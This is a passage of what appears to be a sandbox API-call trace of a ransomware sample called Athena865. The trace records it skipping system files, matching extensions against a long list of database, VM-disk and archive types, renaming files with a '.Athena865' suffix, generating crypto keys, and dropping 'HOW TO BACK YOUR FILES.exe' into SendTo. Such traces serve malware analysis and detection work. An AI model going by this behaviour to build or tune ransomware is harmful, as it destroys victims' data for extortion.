dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0053.980] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0053.980] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1 [0053.980] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.980] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.980] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2=".") returned 1 [0053.980] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="..") returned 1 [0053.980] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="windows") returned -1 [0053.980] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="bootmgr") returned 1 [0053.980] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="temp") returned -1 [0053.980] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="pagefile.sys") returned -1 [0053.981] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="boot") returned 1 [0053.981] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="ids.txt") returned 1 [0053.981] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="ntuser.dat") returned -1 [0053.981] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="perflogs") returned -1 [0053.981] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="MSBuild") returned -1 [0053.981] lstrlenW (lpString="Indexed Locations.search-ms") returned 27 [0053.981] lstrcpyW (in: lpString1=0x241e89e, lpString2="Indexed Locations.search-ms" | out: lpString1="Indexed Locations.search-ms") returned="Indexed Locations.search-ms" [0053.981] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\Default\\Searches\\Indexed Locations.search-ms", dwFileAttributes=0x22) returned 1 [0053.981] lstrlenW (lpString="Indexed Locations.search-ms") returned 27 [0053.981] lstrlenW (lpString="Athena865") returned 9 [0053.981] lstrcmpiW (lpString1="search-ms", lpString2="Athena865") returned 1 [0053.981] lstrlenW (lpString=".dll") returned 4 [0053.981] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2=".dll") returned 1 [0053.981] lstrlenW (lpString=".lnk") returned 4 [0053.981] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2=".lnk") returned 1 [0053.981] lstrlenW (lpString=".ini") returned 4 [0053.981] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2=".ini") returned 1 [0053.981] lstrlenW (lpString=".sys") returned 4 [0053.981] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2=".sys") returned 1 [0053.981] lstrlenW (lpString="Indexed Locations.search-ms") returned 27 [0053.981] lstrlenW (lpString="bak") returned 3 [0053.981] lstrcmpiW (lpString1="-ms", lpString2="bak") returned 1 [0053.981] lstrlenW (lpString="ba_") returned 3 [0053.981] lstrcmpiW (lpString1="-ms", lpString2="ba_") returned 1 [0053.982] lstrlenW (lpString="dbb") returned 3 [0053.982] lstrcmpiW (lpString1="-ms", lpString2="dbb") returned 1 [0053.982] lstrlenW (lpString="vmdk") returned 4 [0053.982] lstrcmpiW (lpString1="h-ms", lpString2="vmdk") returned -1 [0053.982] lstrlenW (lpString="rar") returned 3 [0053.982] lstrcmpiW (lpString1="-ms", lpString2="rar") returned -1 [0053.982] lstrlenW (lpString="zip") returned 3 [0053.982] lstrcmpiW (lpString1="-ms", lpString2="zip") returned -1 [0053.982] lstrlenW (lpString="tgz") returned 3 [0053.982] lstrcmpiW (lpString1="-ms", lpString2="tgz") returned -1 [0053.982] lstrlenW (lpString="vbox") returned 4 [0053.982] lstrcmpiW (lpString1="h-ms", lpString2="vbox") returned -1 [0053.982] lstrlenW (lpString="vdi") returned 3 [0053.982] lstrcmpiW (lpString1="-ms", lpString2="vdi") returned -1 [0053.982] lstrlenW (lpString="vhd") returned 3 [0053.982] lstrcmpiW (lpString1="-ms", lpString2="vhd") returned -1 [0053.982] lstrlenW (lpString="vhdx") returned 4 [0053.982] lstrcmpiW (lpString1="h-ms", lpString2="vhdx") returned -1 [0053.982] lstrlenW (lpString="avhd") returned 4 [0053.982] lstrcmpiW (lpString1="h-ms", lpString2="avhd") returned 1 [0053.982] lstrlenW (lpString="db") returned 2 [0053.982] lstrcmpiW (lpString1="ms", lpString2="db") returned 1 [0053.982] lstrlenW (lpString="db2") returned 3 [0053.982] lstrcmpiW (lpString1="-ms", lpString2="db2") returned 1 [0053.982] lstrlenW (lpString="db3") returned 3 [0053.982] lstrcmpiW (lpString1="-ms", lpString2="db3") returned 1 [0053.982] lstrlenW (lpString="dbf") returned 3 [0053.982] lstrcmpiW (lpString1="-ms", lpString2="dbf") returned 1 [0053.982] lstrlenW (lpString="mdf") returned 3 [0053.982] lstrcmpiW (lpString1="-ms", lpString2="mdf") returned 1 [0053.982] lstrlenW (lpString="mdb") returned 3 [0053.982] lstrcmpiW (lpString1="-ms", lpString2="mdb") returned 1 [0053.982] lstrlenW (lpString="sql") returned 3 [0053.983] lstrcmpiW (lpString1="-ms", lpString2="sql") returned -1 [0053.983] lstrlenW (lpString="sqlite") returned 6 [0053.983] lstrcmpiW (lpString1="rch-ms", lpString2="sqlite") returned -1 [0053.983] lstrlenW (lpString="sqlite3") returned 7 [0053.983] lstrcmpiW (lpString1="arch-ms", lpString2="sqlite3") returned -1 [0053.983] lstrlenW (lpString="sqlitedb") returned 8 [0053.983] lstrcmpiW (lpString1="earch-ms", lpString2="sqlitedb") returned -1 [0053.983] lstrlenW (lpString="xml") returned 3 [0053.983] lstrcmpiW (lpString1="-ms", lpString2="xml") returned -1 [0053.983] lstrlenW (lpString="$er") returned 3 [0053.983] lstrcmpiW (lpString1="-ms", lpString2="$er") returned 1 [0053.983] lstrlenW (lpString="4dd") returned 3 [0053.983] lstrcmpiW (lpString1="-ms", lpString2="4dd") returned 1 [0053.983] lstrlenW (lpString="4dl") returned 3 [0053.983] lstrcmpiW (lpString1="-ms", lpString2="4dl") returned 1 [0053.983] lstrlenW (lpString="^^^") returned 3 [0053.983] lstrcmpiW (lpString1="-ms", lpString2="^^^") returned 1 [0053.983] lstrlenW (lpString="abs") returned 3 [0053.983] lstrcmpiW (lpString1="-ms", lpString2="abs") returned 1 [0053.983] lstrlenW (lpString="abx") returned 3 [0053.983] lstrcmpiW (lpString1="-ms", lpString2="abx") returned 1 [0053.983] lstrlenW (lpString="accdb") returned 5 [0053.983] lstrcmpiW (lpString1="ch-ms", lpString2="accdb") returned 1 [0053.983] lstrlenW (lpString="accdc") returned 5 [0053.983] lstrcmpiW (lpString1="ch-ms", lpString2="accdc") returned 1 [0053.983] lstrlenW (lpString="accde") returned 5 [0053.983] lstrcmpiW (lpString1="ch-ms", lpString2="accde") returned 1 [0053.983] lstrlenW (lpString="accdr") returned 5 [0053.983] lstrcmpiW (lpString1="ch-ms", lpString2="accdr") returned 1 [0053.983] lstrlenW (lpString="accdt") returned 5 [0053.983] lstrcmpiW (lpString1="ch-ms", lpString2="accdt") returned 1 [0053.983] lstrlenW (lpString="accdw") returned 5 [0053.983] lstrcmpiW (lpString1="ch-ms", lpString2="accdw") returned 1 [0053.984] lstrlenW (lpString="accft") returned 5 [0053.984] lstrcmpiW (lpString1="ch-ms", lpString2="accft") returned 1 [0053.984] lstrlenW (lpString="adb") returned 3 [0053.984] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1 [0053.984] lstrlenW (lpString="adb") returned 3 [0053.984] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1 [0053.984] lstrlenW (lpString="ade") returned 3 [0053.984] lstrcmpiW (lpString1="-ms", lpString2="ade") returned 1 [0053.984] lstrlenW (lpString="adf") returned 3 [0053.984] lstrcmpiW (lpString1="-ms", lpString2="adf") returned 1 [0053.984] lstrlenW (lpString="adn") returned 3 [0053.984] lstrcmpiW (lpString1="-ms", lpString2="adn") returned 1 [0053.984] lstrlenW (lpString="adp") returned 3 [0053.984] lstrcmpiW (lpString1="-ms", lpString2="adp") returned 1 [0053.984] lstrlenW (lpString="alf") returned 3 [0053.984] lstrcmpiW (lpString1="-ms", lpString2="alf") returned 1 [0053.984] lstrlenW (lpString="ask") returned 3 [0053.984] lstrcmpiW (lpString1="-ms", lpString2="ask") returned 1 [0053.984] lstrlenW (lpString="btr") returned 3 [0053.984] lstrcmpiW (lpString1="-ms", lpString2="btr") returned 1 [0053.984] lstrlenW (lpString="cat") returned 3 [0053.984] lstrcmpiW (lpString1="-ms", lpString2="cat") returned 1 [0053.984] lstrlenW (lpString="cdb") returned 3 [0053.984] lstrcmpiW (lpString1="-ms", lpString2="cdb") returned 1 [0053.984] lstrlenW (lpString="ckp") returned 3 [0053.984] lstrcmpiW (lpString1="-ms", lpString2="ckp") returned 1 [0053.984] lstrlenW (lpString="cma") returned 3 [0053.984] lstrcmpiW (lpString1="-ms", lpString2="cma") returned 1 [0053.984] lstrlenW (lpString="cpd") returned 3 [0053.984] lstrcmpiW (lpString1="-ms", lpString2="cpd") returned 1 [0053.984] lstrlenW (lpString="dacpac") returned 6 [0053.984] lstrcmpiW (lpString1="rch-ms", lpString2="dacpac") returned 1 [0053.984] lstrlenW (lpString="dad") returned 3 [0053.985] lstrcmpiW (lpString1="-ms", lpString2="dad") returned 1 [0053.985] lstrlenW (lpString="dadiagrams") returned 10 [0053.985] lstrcmpiW (lpString1=".search-ms", lpString2="dadiagrams") returned -1 [0053.985] lstrlenW (lpString="daschema") returned 8 [0053.985] lstrcmpiW (lpString1="earch-ms", lpString2="daschema") returned 1 [0053.985] lstrlenW (lpString="db-journal") returned 10 [0053.985] lstrcmpiW (lpString1=".search-ms", lpString2="db-journal") returned -1 [0053.985] lstrlenW (lpString="db-shm") returned 6 [0053.985] lstrcmpiW (lpString1="rch-ms", lpString2="db-shm") returned 1 [0053.985] lstrlenW (lpString="db-wal") returned 6 [0053.985] lstrcmpiW (lpString1="rch-ms", lpString2="db-wal") returned 1 [0053.985] lstrlenW (lpString="dbc") returned 3 [0053.985] lstrcmpiW (lpString1="-ms", lpString2="dbc") returned 1 [0053.985] lstrlenW (lpString="dbs") returned 3 [0053.985] lstrcmpiW (lpString1="-ms", lpString2="dbs") returned 1 [0053.985] lstrlenW (lpString="dbt") returned 3 [0053.985] lstrcmpiW (lpString1="-ms", lpString2="dbt") returned 1 [0053.985] lstrlenW (lpString="dbv") returned 3 [0053.985] lstrcmpiW (lpString1="-ms", lpString2="dbv") returned 1 [0053.985] lstrlenW (lpString="dbx") returned 3 [0053.985] lstrcmpiW (lpString1="-ms", lpString2="dbx") returned 1 [0053.985] lstrlenW (lpString="dcb") returned 3 [0053.985] lstrcmpiW (lpString1="-ms", lpString2="dcb") returned 1 [0053.985] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\Searches\\Indexed Locations.search-ms.Athena865") returned 80 [0053.985] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\Searches\\Indexed Locations.search-ms" (normalized: "c:\\documents and settings\\default\\searches\\indexed locations.search-ms"), lpNewFileName="C:\\Documents and Settings\\Default\\Searches\\Indexed Locations.search-ms.Athena865" (normalized: "c:\\documents and settings\\default\\searches\\indexed locations.search-ms.athena865"), dwFlags=0x1) returned 1 [0053.986] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Searches\\Indexed Locations.search-ms.Athena865" (normalized: "c:\\documents and settings\\default\\searches\\indexed locations.search-ms.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0053.986] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=248) returned 1 [0053.986] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0053.986] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52db88 [0053.987] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519a20 [0053.987] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519aa8) returned 1 [0053.987] CryptGenRandom (in: hProv=0x519aa8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.987] CryptReleaseContext (hProv=0x519aa8, dwFlags=0x0) returned 1 [0053.988] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x400, lpName=0x0) returned 0x17c [0053.990] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x400) returned 0x100000 [0053.990] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519aa8) returned 1 [0053.991] CryptGenRandom (in: hProv=0x519aa8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.991] CryptReleaseContext (hProv=0x519aa8, dwFlags=0x0) returned 1 [0053.991] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dc00 [0053.991] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dc00 | out: hHeap=0x4f0000) returned 1 [0053.991] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0053.991] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0053.991] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0053.991] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0053.991] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0053.992] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0053.992] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0053.992] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0053.992] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0053.992] CloseHandle (hObject=0x17c) returned 1 [0053.992] CloseHandle (hObject=0x154) returned 1 [0053.992] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52db88 | out: hHeap=0x4f0000) returned 1 [0053.992] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519a20 | out: hHeap=0x4f0000) returned 1 [0053.992] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0053.992] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0 [0053.992] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0053.992] ReleaseMutex (hMutex=0xec) returned 1 [0053.992] CloseHandle (hObject=0xec) returned 1 [0053.992] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default\\SendTo" | out: lpString1="C:\\Documents and Settings\\Default\\SendTo") returned="C:\\Documents and Settings\\Default\\SendTo" [0053.992] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528b30 | out: hHeap=0x4f0000) returned 1 [0053.993] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cc90 | out: hHeap=0x4f0000) returned 1 [0053.993] lstrlenW (lpString="C:\\Documents and Settings\\Default\\SendTo") returned 40 [0053.993] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\E9165155BE8D9CCBED20924546A1F224") returned 0xec [0053.993] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0053.993] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default\\SendTo" | out: lpString1="C:\\Documents and Settings\\Default\\SendTo") returned="C:\\Documents and Settings\\Default\\SendTo" [0053.993] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0053.993] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\SendTo\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\sendto\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.993] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\SendTo\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\sendto\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0053.993] GetLastError () returned 0x0 [0053.993] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0053.994] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0053.994] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0053.994] CloseHandle (hObject=0xf4) returned 1 [0053.994] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0053.994] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0053.995] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default\\SendTo\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd1c9ba0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd1c9ba0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0053.995] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.995] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.995] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0053.995] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd1c9ba0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd1c9ba0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.995] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.995] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.995] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0053.995] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0053.995] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeca9f1ef, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x6404e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x639ff80f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Compressed (zipped) Folder.ZFSendToTarget", cAlternateFileName="COMPRE~1.ZFS")) returned 1 [0053.995] lstrcmpiW (lpString1="Compressed (zipped) Folder.ZFSendToTarget", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.995] lstrcmpiW (lpString1="Compressed (zipped) Folder.ZFSendToTarget", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.995] lstrcmpiW (lpString1="Compressed (zipped) Folder.ZFSendToTarget", lpString2=".") returned 1 [0053.995] lstrcmpiW (lpString1="Compressed (zipped) Folder.ZFSendToTarget", lpString2="..") returned 1 [0053.995] lstrcmpiW (lpString1="Compressed (zipped) Folder.ZFSendToTarget", lpString2="windows") returned -1 [0053.995] lstrcmpiW (lpString1="Compressed (zipped) Folder.ZFSendToTarget", lpString2="bootmgr") returned 1 [0053.995] lstrcmpiW (lpString1="Compressed (zipped) Folder.ZFSendToTarget", lpString2="temp") returned -1 [0053.995] lstrcmpiW (lpString1="Compressed (zipped) Folder.ZFSendToTarget", lpString2="pagefile.sys") returned -1 [0053.995] lstrcmpiW (lpString1="Compressed (zipped) Folder.ZFSendToTarget", lpString2="boot") returned 1 [0053.995] lstrcmpiW (lpString1="Compressed (zipped) Folder.ZFSendToTarget", lpString2="ids.txt") returned -1 [0053.995] lstrcmpiW (lpString1="Compressed (zipped) Folder.ZFSendToTarget", lpString2="ntuser.dat") returned -1 [0053.995] lstrcmpiW (lpString1="Compressed (zipped) Folder.ZFSendToTarget", lpString2="perflogs") returned -1 [0053.996] lstrcmpiW (lpString1="Compressed (zipped) Folder.ZFSendToTarget", lpString2="MSBuild") returned -1 [0053.996] lstrlenW (lpString="Compressed (zipped) Folder.ZFSendToTarget") returned 41 [0053.996] lstrcpyW (in: lpString1=0x241e89a, lpString2="Compressed (zipped) Folder.ZFSendToTarget" | out: lpString1="Compressed (zipped) Folder.ZFSendToTarget") returned="Compressed (zipped) Folder.ZFSendToTarget" [0053.996] lstrlenW (lpString="Compressed (zipped) Folder.ZFSendToTarget") returned 41 [0053.996] lstrlenW (lpString="Athena865") returned 9 [0053.996] lstrcmpiW (lpString1="dToTarget", lpString2="Athena865") returned 1 [0053.996] lstrlenW (lpString=".dll") returned 4 [0053.996] lstrcmpiW (lpString1="Compressed (zipped) Folder.ZFSendToTarget", lpString2=".dll") returned 1 [0053.996] lstrlenW (lpString=".lnk") returned 4 [0053.996] lstrcmpiW (lpString1="Compressed (zipped) Folder.ZFSendToTarget", lpString2=".lnk") returned 1 [0053.996] lstrlenW (lpString=".ini") returned 4 [0053.996] lstrcmpiW (lpString1="Compressed (zipped) Folder.ZFSendToTarget", lpString2=".ini") returned 1 [0053.996] lstrlenW (lpString=".sys") returned 4 [0053.996] lstrcmpiW (lpString1="Compressed (zipped) Folder.ZFSendToTarget", lpString2=".sys") returned 1 [0053.996] lstrlenW (lpString="Compressed (zipped) Folder.ZFSendToTarget") returned 41 [0053.996] lstrlenW (lpString="bak") returned 3 [0053.996] lstrcmpiW (lpString1="get", lpString2="bak") returned 1 [0053.996] lstrlenW (lpString="ba_") returned 3 [0053.996] lstrcmpiW (lpString1="get", lpString2="ba_") returned 1 [0053.996] lstrlenW (lpString="dbb") returned 3 [0053.996] lstrcmpiW (lpString1="get", lpString2="dbb") returned 1 [0053.996] lstrlenW (lpString="vmdk") returned 4 [0053.996] lstrcmpiW (lpString1="rget", lpString2="vmdk") returned -1 [0053.996] lstrlenW (lpString="rar") returned 3 [0053.996] lstrcmpiW (lpString1="get", lpString2="rar") returned -1 [0053.996] lstrlenW (lpString="zip") returned 3 [0053.996] lstrcmpiW (lpString1="get", lpString2="zip") returned -1 [0053.996] lstrlenW (lpString="tgz") returned 3 [0053.996] lstrcmpiW (lpString1="get", lpString2="tgz") returned -1 [0053.996] lstrlenW (lpString="vbox") returned 4 [0053.996] lstrcmpiW (lpString1="rget", lpString2="vbox") returned -1 [0053.996] lstrlenW (lpString="vdi") returned 3 [0053.996] lstrcmpiW (lpString1="get", lpString2="vdi") returned -1 [0053.997] lstrlenW (lpString="vhd") returned 3 [0053.997] lstrcmpiW (lpString1="get", lpString2="vhd") returned -1 [0053.997] lstrlenW (lpString="vhdx") returned 4 [0053.997] lstrcmpiW (lpString1="rget", lpString2="vhdx") returned -1 [0053.997] lstrlenW (lpString="avhd") returned 4 [0053.997] lstrcmpiW (lpString1="rget", lpString2="avhd") returned 1 [0053.997] lstrlenW (lpString="db") returned 2 [0053.997] lstrcmpiW (lpString1="et", lpString2="db") returned 1 [0053.997] lstrlenW (lpString="db2") returned 3 [0053.997] lstrcmpiW (lpString1="get", lpString2="db2") returned 1 [0053.997] lstrlenW (lpString="db3") returned 3 [0053.997] lstrcmpiW (lpString1="get", lpString2="db3") returned 1 [0053.997] lstrlenW (lpString="dbf") returned 3 [0053.997] lstrcmpiW (lpString1="get", lpString2="dbf") returned 1 [0053.997] lstrlenW (lpString="mdf") returned 3 [0053.997] lstrcmpiW (lpString1="get", lpString2="mdf") returned -1 [0053.997] lstrlenW (lpString="mdb") returned 3 [0053.997] lstrcmpiW (lpString1="get", lpString2="mdb") returned -1 [0053.997] lstrlenW (lpString="sql") returned 3 [0053.997] lstrcmpiW (lpString1="get", lpString2="sql") returned -1 [0053.997] lstrlenW (lpString="sqlite") returned 6 [0053.997] lstrcmpiW (lpString1="Target", lpString2="sqlite") returned 1 [0053.997] lstrlenW (lpString="sqlite3") returned 7 [0053.997] lstrcmpiW (lpString1="oTarget", lpString2="sqlite3") returned -1 [0053.997] lstrlenW (lpString="sqlitedb") returned 8 [0053.997] lstrcmpiW (lpString1="ToTarget", lpString2="sqlitedb") returned 1 [0053.997] lstrlenW (lpString="xml") returned 3 [0053.997] lstrcmpiW (lpString1="get", lpString2="xml") returned -1 [0053.997] lstrlenW (lpString="$er") returned 3 [0053.997] lstrcmpiW (lpString1="get", lpString2="$er") returned 1 [0053.997] lstrlenW (lpString="4dd") returned 3 [0053.997] lstrcmpiW (lpString1="get", lpString2="4dd") returned 1 [0053.997] lstrlenW (lpString="4dl") returned 3 [0053.997] lstrcmpiW (lpString1="get", lpString2="4dl") returned 1 [0053.997] lstrlenW (lpString="^^^") returned 3 [0053.998] lstrcmpiW (lpString1="get", lpString2="^^^") returned 1 [0053.998] lstrlenW (lpString="abs") returned 3 [0053.998] lstrcmpiW (lpString1="get", lpString2="abs") returned 1 [0053.998] lstrlenW (lpString="abx") returned 3 [0053.998] lstrcmpiW (lpString1="get", lpString2="abx") returned 1 [0053.998] lstrlenW (lpString="accdb") returned 5 [0053.998] lstrcmpiW (lpString1="arget", lpString2="accdb") returned 1 [0053.998] lstrlenW (lpString="accdc") returned 5 [0053.998] lstrcmpiW (lpString1="arget", lpString2="accdc") returned 1 [0053.998] lstrlenW (lpString="accde") returned 5 [0053.998] lstrcmpiW (lpString1="arget", lpString2="accde") returned 1 [0053.998] lstrlenW (lpString="accdr") returned 5 [0053.998] lstrcmpiW (lpString1="arget", lpString2="accdr") returned 1 [0053.998] lstrlenW (lpString="accdt") returned 5 [0053.998] lstrcmpiW (lpString1="arget", lpString2="accdt") returned 1 [0053.998] lstrlenW (lpString="accdw") returned 5 [0053.998] lstrcmpiW (lpString1="arget", lpString2="accdw") returned 1 [0053.998] lstrlenW (lpString="accft") returned 5 [0053.998] lstrcmpiW (lpString1="arget", lpString2="accft") returned 1 [0053.998] lstrlenW (lpString="adb") returned 3 [0053.998] lstrcmpiW (lpString1="get", lpString2="adb") returned 1 [0053.998] lstrlenW (lpString="adb") returned 3 [0053.998] lstrcmpiW (lpString1="get", lpString2="adb") returned 1 [0053.998] lstrlenW (lpString="ade") returned 3 [0053.998] lstrcmpiW 